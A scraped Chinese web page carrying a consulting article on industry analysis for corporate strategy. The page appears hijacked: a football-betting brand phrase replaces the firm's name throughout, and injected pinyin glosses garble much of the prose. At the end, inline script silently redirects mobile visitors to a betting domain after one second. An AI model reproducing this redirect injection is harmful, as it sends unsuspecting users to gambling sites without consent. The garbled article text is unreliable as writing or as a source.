2021欧洲杯指定官网

English
简体中文
To provide you with one-stop management consulting services
企业战略咨询的起点:行业分析
发表时(shi)间:2014-11-17 作者: 字号: A A A
 行(xing)(xing)业分(fen)(fen)(fen)(fen)析是(shi)企业战(zhan)略咨询的(de)重要组成部(bu)分(fen)(fen)(fen)(fen)。那么,什么样的(de)行(xing)(xing)业分(fen)(fen)(fen)(fen)析是(shi)优(you)秀的(de)行(xing)(xing)业分(fen)(fen)(fen)(fen)析?如何进行(xing)(xing)行(xing)(xing)业分(fen)(fen)(fen)(fen)析?本(ben)文简要描述2021欧洲杯指定官网在企业战(zhan)略咨询实践中(zhong)的(de)做(zuo)法。


一、行业分析(xi)的(de)目的(de):寻找“机会空(kong)白点”


行(xing)业(ye)分析的(de)时间限(xian)制通常为未(wei)来(lai)三年(nian)、五年(nian)或十年(nian)。行(xing)业(ye)分析的(de)目的(de)是找到“机会空白点(dian)”,即(ji)评(ping)价(jia)本行(xing)业(ye)投资价(jia)值的(de)高低。行(xing)业(ye)分析是结论导向的(de)分析,行(xing)业(ye)分析报告的(de)每一页PPT均(jun)是对结论(lun)的(de)直接(jie)(jie)论(lun)证(可(ke)以(yi)有(you)多个(ge)结论(lun)),任何对结论(lun)没有(you)直接(jie)(jie)支撑作用的(de)内容均(jun)不应(ying)出(chu)(chu)现在报告(gao)中。2021欧洲杯指定官网实践中,部分(fen)(fen)行业分(fen)(fen)析(xi)报告(gao)会在开(kai)篇即(ji)点名行业分(fen)(fen)析(xi)结论(lun),如:“严(yan)重(zhong)过(guo)剩的(de)产能(neng),不断扩(kuo)大的(de)市场(chang)规模(mo),低廉的(de)劳动成本及整(zheng)车厂的(de)恶性竞争都将导致车价不断下降(jiang),并(bing)出(chu)(chu)现价格成本对利润的(de)双重(zhong)挤压。”


二、行(xing)业分(fen)析的维度:需求(qiu)与供给


如何确定本行业(ye)(ye)投资价值的(de)高低(di)?通(tong)常从(cong)需求(qiu)、供给(ji)两(liang)个(ge)维度(du)(du)进(jin)行分析(xi)。当然,所(suo)有数据都(dou)需要在历(li)史数据的(de)基础上对(dui)(dui)未来进(jin)行预测。需求(qiu)维度(du)(du)是对(dui)(dui)行业(ye)(ye)周期(qi)和波动的(de)判断,判断的(de)数据基础是市场需求(qiu)规模及增(zeng)长率。供给(ji)维度(du)(du)是对(dui)(dui)行业(ye)(ye)竞争情况的(de)判断,通(tong)过进(jin)入(ru)壁垒、替代(dai)品威胁、买方议价能力(li)、卖方议价能力(li)以及同行业(ye)(ye)竞争等五个(ge)方面的(de)分析(xi)进(jin)行判断,其数据基础为(wei)价值链(lian)各环节的(de)市场集中度(du)(du)、投资额、利润率、应收(shou)账款周转率等。


行(xing)业分(fen)(fen)析(xi)中(zhong)涉及到大量(liang)(liang)的(de)数据(ju)预(yu)测,严(yan)谨(jin)的(de)分(fen)(fen)析(xi)方(fang)(fang)法(fa)是(shi)(shi)以宏观分(fen)(fen)析(xi)定(ding)性,以统(tong)计(ji)和计(ji)量(liang)(liang)的(de)方(fang)(fang)法(fa)定(ding)量(liang)(liang)。但(dan)是(shi)(shi)由于部分(fen)(fen)数据(ju)难以获(huo)取以及项目时间约束(shu),实践中(zhong)多采用引用或合(he)理推断的(de)方(fang)(fang)式进行(xing)弥补。咨询(xun)公司面试时“北京(jing)有几(ji)家(jia)酒吧(ba)”之类的(de)问(wen)题,就(jiu)是(shi)(shi)对推算能力的(de)考察。


三、行业分(fen)析的关键:行业细分(fen)


只有细分行(xing)(xing)(xing)(xing)业(ye)(ye)的(de)分析(xi)才对(dui)企业(ye)(ye)具有实际意(yi)义(yi)。判断行(xing)(xing)(xing)(xing)业(ye)(ye)分析(xi)深(shen)入(ru)程度的(de)关键指标就是(shi)行(xing)(xing)(xing)(xing)业(ye)(ye)细分程度,这也(ye)是(shi)行(xing)(xing)(xing)(xing)业(ye)(ye)分析(xi)需(xu)(xu)要(yao)长期(qi)积累的(de)原因。严格来说,深(shen)入(ru)的(de)行(xing)(xing)(xing)(xing)业(ye)(ye)分析(xi)应(ying)在(zai)产(chan)(chan)品级别,如,机(ji)械行(xing)(xing)(xing)(xing)业(ye)(ye)可(ke)(ke)分为(wei)八类,其(qi)中(zhong)重型机(ji)械又可(ke)(ke)分为(wei)三(san)类,其(qi)中(zhong)矿山冶金机(ji)械又可(ke)(ke)分为(wei)五类,其(qi)中(zhong)冶炼回(hui)转设备又可(ke)(ke)分为(wei)十八种产(chan)(chan)品,而这十八种产(chan)(chan)品的(de)供(gong)给和需(xu)(xu)求分析(xi)就是(shi)深(shen)入(ru)的(de)行(xing)(xing)(xing)(xing)业(ye)(ye)分析(xi)。但是(shi)在(zai)实践中(zhong),企业(ye)(ye)战略制定不需(xu)(xu)要(yao)如此深(shen)入(ru)的(de)行(xing)(xing)(xing)(xing)业(ye)(ye)分析(xi),三(san)级行(xing)(xing)(xing)(xing)业(ye)(ye)分析(xi)已经(jing)足够,再深(shen)入(ru)就是(shi)项目(mu)可(ke)(ke)行(xing)(xing)(xing)(xing)性(xing)研究的(de)范畴了(le)。


四、行(xing)业分(fen)析(xi)与竞(jing)争策略(lve)的(de)衔(xian)接(jie):标杆分(fen)析(xi)/竞争对手分(fen)析(xi)


行业(ye)分(fen)(fen)析(xi)中多涉及对同(tong)行业(ye)优(you)秀企业(ye)的分(fen)(fen)析(xi),包(bao)括(kuo)标杆(gan)分(fen)(fen)析(xi)和竞争对手分(fen)(fen)析(xi)两类。标杆(gan)分(fen)(fen)析(xi)在国企、事业(ye)单位战略咨(zi)询(xun)中较为(wei)常见,原因(yin)是此类企业(ye)/单位受体制约束,难以(yi)大程度创新,学习(xi)优秀企(qi)业已有经验,获得低风险(xian)稳(wen)步发展是(shi)两全的方法(fa)。


在(zai)市场竞(jing)争(zheng)性高的(de)行业(ye)中(zhong),竞(jing)争(zheng)对手(shou)分析是(shi)(shi)战(zhan)略(lve)咨询中(zhong)非常重要的(de)模(mo)块。竞(jing)争(zheng)对手(shou)分析的(de)目的(de)不是(shi)(shi)学(xue)习,而是(shi)(shi)寻找竞(jing)争(zheng)对手(shou)优势(shi)下(xia)的(de)弱点,为(wei)下(xia)一(yi)步差异化定位做准备。竞(jing)争(zheng)对手(shou)的(de)分析关注(zhu)两项内(nei)容,定位和配称。定位,即企(qi)业(ye)/产品在市场中的定位。如春(chun)秋(qiu)航(hang)(hang)空(kong)定位为廉价航(hang)(hang)空(kong)。配称(cheng),即企业为获得(de)定位而作出的战略选择,如春(chun)秋(qiu)航(hang)(hang)空(kong)采用单一(yi)机型(空(kong)客A320)、单一(yi)舱位(wei)(经济舱)、高客座率(lv)、低销售费用等竞争策略(lve)。竞争对手(shou)优(you)势下的弱点(dian)就表现(xian)在其定(ding)(ding)位(wei)和配称(cheng)中。如奔(ben)驰定(ding)(ding)位(wei)为(wei)经典(dian),内涵(han)深厚,大气沉稳(wen);其必然的弱点(dian)就是张扬和活力。这时,宝马(ma)出现(xian)了,定(ding)(ding)位(wei)为(wei)以驾(jia)驶者(zhe)为(wei)中心,操控性更强,张扬有活力。竞争对手(shou)分析就是要找到“奔(ben)驰”的弱点(dian),为(wei)打(da)造“宝马(ma)”奠(dian)定(ding)(ding)基础。


(作(zuo)者简介:张(zhang)柯,2021欧洲杯指定官网管理咨(zi)询集团高级(ji)咨(zi)询师,专注企业战(zhan)略咨(zi)询,参与或带领团队为地产、交通(tong)、IT、金融(rong)等多(duo)个行(xing)业提供(gong)战略咨(zi)询(xun)服务。)

 
分享到:
在线咨询
上门义诊
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();